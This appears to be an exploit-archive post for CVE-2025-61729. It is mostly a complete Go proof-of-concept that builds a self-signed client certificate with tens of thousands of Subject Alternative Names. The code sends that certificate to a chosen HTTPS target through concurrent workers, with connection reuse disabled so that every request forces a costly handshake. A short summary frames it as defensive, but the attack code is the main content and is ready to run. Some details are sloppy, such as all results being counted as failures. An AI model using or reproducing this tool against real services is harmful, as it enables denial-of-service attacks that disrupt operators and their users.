crypto/x509 TLS Certificate Parsing

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| # Title crypto/x509 TLS Certificate Parsing

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| # Title : crypto/x509 Go-Based TLS Certificate Parsing Stress Scenario Targeting |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.redhat.com/ |
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[+] References : https://packetstorm.news/files/id/215073/ & CVE-2025-61729

[+] Summary : This Go program demonstrates a theoretical denial-of-service risk associated with handling unusually large X.509 certificates in TLS connections.
It programmatically generates a self-signed certificate containing a very large number of Subject Alternative Names (SANs) and configures an HTTP client to present this certificate during TLS handshakes.
Multiple concurrent workers then issue HTTPS requests to a specified target, aiming to stress the certificate parsing and validation logic in the crypto/x509 library.
From a defensive security perspective, the code illustrates how excessive SAN entries can increase CPU and memory consumption during certificate processing,
potentially degrading service availability if not properly mitigated. The scenario highlights the importance of implementing limits on certificate size and SAN counts,
enforcing strict TLS validation policies, and applying resource controls in servers and proxies that terminate TLS.

[+] POC :

package main

import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"flag"
"fmt"
"math/big"
"net/http"
"os"
"sync"
"time"
)

type AttackConfig struct {
TargetURL string
NumHosts int
NumWorkers int
NumRequests int
DelayMs int
OutputCert string
OutputKey string
TimeoutSec int
UseProxy bool
ProxyURL string
Verbose bool
}

var config AttackConfig

func init() {
flag.StringVar(&config.TargetURL, "target", "https://localhost:8443/", "Target URL")
flag.IntVar(&config.NumHosts, "hosts", 50000, "Number of SANs in the malicious certificate")
flag.IntVar(&config.NumWorkers, "workers", 50, "Number of concurrent workers")
flag.IntVar(&config.NumRequests, "requests", 1000, "Total number of requests")
flag.IntVar(&config.DelayMs, "delay", 10, "Delay between requests (ms)")
flag.StringVar(&config.OutputCert, "cert", "dos.crt", "Path to save the certificate")
flag.StringVar(&config.OutputKey, "key", "dos.key", "Path to save the private key")
flag.IntVar(&config.TimeoutSec, "timeout", 30, "Connection timeout (seconds)")
flag.BoolVar(&config.UseProxy, "proxy", false, "Use proxy")
flag.StringVar(&config.ProxyURL, "proxy-url", "http://127.0.0.1:8080", "Proxy URL")
flag.BoolVar(&config.Verbose, "verbose", false, "Enable verbose output")
flag.Parse()
}

func generateMaliciousCertificate() error {
if config.Verbose {
fmt.Printf("[+] Generating certificate with %d DNS names...\n", config.NumHosts)
}

privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return fmt.Errorf("failed to generate key: %v", err)
}

template := x509.Certificate{
SerialNumber: big.NewInt(time.Now().UnixNano()),
Subject: pkix.Name{
Country: []string{"XX"},
Organization: []string{"Security Test Corp"},
OrganizationalUnit: []string{"Penetration Testing"},
Locality: []string{"Test City"},
Province: []string{"Test Province"},
CommonName: "*.test.dos",
},
NotBefore: time.Now(),
NotAfter: time.Now().Add(24 * time.Hour),
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
SubjectKeyId: []byte{1, 2, 3, 4, 5},
}

dnsNames := make([]string, config.NumHosts)
for i := 0; i < config.NumHosts; i++ {
dnsNames[i] = fmt.Sprintf("host-%08d.dos.test", i)
}
template.DNSNames = dnsNames

certBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &privateKey.PublicKey, privateKey)
if err != nil {
return fmt.Errorf("failed to create certificate: %v", err)
}

certFile, err := os.Create(config.OutputCert)
if err != nil {
return fmt.Errorf("failed to save certificate: %v", err)
}
defer certFile.Close()
pem.Encode(certFile, &pem.Block{Type: "CERTIFICATE", Bytes: certBytes})

keyFile, err := os.Create(config.OutputKey)
if err != nil {
return fmt.Errorf("failed to save key: %v", err)
}
defer keyFile.Close()
pem.Encode(keyFile, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(privateKey)})

if config.Verbose {
fmt.Printf("Certificate created: %s\n", config.OutputCert)
fmt.Printf("Private key created: %s\n", config.OutputKey)
}

return nil
}

func createHTTPClient() (*http.Client, error) {
cert, err := tls.LoadX509KeyPair(config.OutputCert, config.OutputKey)
if err != nil {
return nil, fmt.Errorf("failed to load key pair: %v", err)
}

tlsConfig := &tls.Config{
Certificates: []tls.Certificate{cert},
InsecureSkipVerify: true, // Ignore server certificate validation
Renegotiation: tls.RenegotiateOnceAsClient,
}

transport := &http.Transport{
TLSClientConfig: tlsConfig,
DisableCompression: true,
DisableKeepAlives: true, // Prevent connection reuse to force handshake
MaxIdleConns: 0,
MaxIdleConnsPerHost: 0,
}

return &http.Client{
Transport: transport,
Timeout: time.Duration(config.TimeoutSec) * time.Second,
}, nil
}

func worker(id int, client *http.Client, requests <-chan int, results chan<- string, wg *sync.WaitGroup) {
defer wg.Done()

for reqNum := range requests {
startTime := time.Now()

req, err := http.NewRequest("GET", config.TargetURL, nil)
if err != nil {
results <- fmt.Sprintf("[Worker %d - Req %d] Request creation failed: %v", id, reqNum, err)
continue
}

req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
req.Header.Set("Accept", "*/*")
req.Header.Set("Connection", "close")
resp, err := client.Do(req)
duration := time.Since(startTime)

if err != nil {
results <- fmt.Sprintf("[Worker %d - Req %d] Failed (%v): %v", id, reqNum, duration, err)
} else {
status := resp.StatusCode
resp.Body.Close()
results <- fmt.Sprintf("[Worker %d - Req %d] Success (%v): Status %d", id, reqNum, duration, status)
}

if config.DelayMs > 0 {
time.Sleep(time.Duration(config.DelayMs) * time.Millisecond)
}
}
}

func launchAttack() error {
if config.Verbose {
fmt.Println("[+] Launching activity...")
fmt.Printf(" Target: %s\n", config.TargetURL)
fmt.Printf(" Workers: %d\n", config.NumWorkers)
fmt.Printf(" Requests: %d\n", config.NumRequests)
}

requests := make(chan int, config.NumRequests)
results := make(chan string, config.NumRequests)

client, err := createHTTPClient()
if err != nil {
return err
}

var wg sync.WaitGroup
for i := 0; i < config.NumWorkers; i++ {
wg.Add(1)
go worker(i, client, requests, results, &wg)
}

go func() {
for i := 0; i < config.NumRequests; i++ {
requests <- i
}
close(requests)
}()

go func() {
wg.Wait()
close(results)
}()

successCount := 0
failCount := 0

for result := range results {
if config.Verbose {
fmt.Println(result)
}
failCount++
}

fmt.Printf("\n[?] Execution completed\n")
fmt.Printf(" Failed/Processed requests: %d\n", failCount)

return nil
}

func banner() {
fmt.Println(`
???????????????????????????????????????????????????????
? CVE-2025-61729 Exploit - Denial of Service ?
? Golang crypto/x509 Vulnerability Test ?
???????????????????????????????????????????????????????
`)
}

func main() {
banner()

if os.Geteuid() == 0 {
fmt.Println("[!] Running as root - Proceed with caution!")
}

if config.NumHosts <= 0 {
fmt.Println("[!] Host count must be greater than zero")
os.Exit(1)
}

if err := generateMaliciousCertificate(); err != nil {
fmt.Printf("[!] Certificate generation failed: %v\n", err)
os.Exit(1)
}

if err := launchAttack(); err != nil {
fmt.Printf("[!] Execution failed: %v\n", err)
os.Exit(1)
}

if config.Verbose {
fmt.Println("\n[+] Cleaning up temporary files...")
os.Remove(config.OutputCert)
os.Remove(config.OutputKey)
}
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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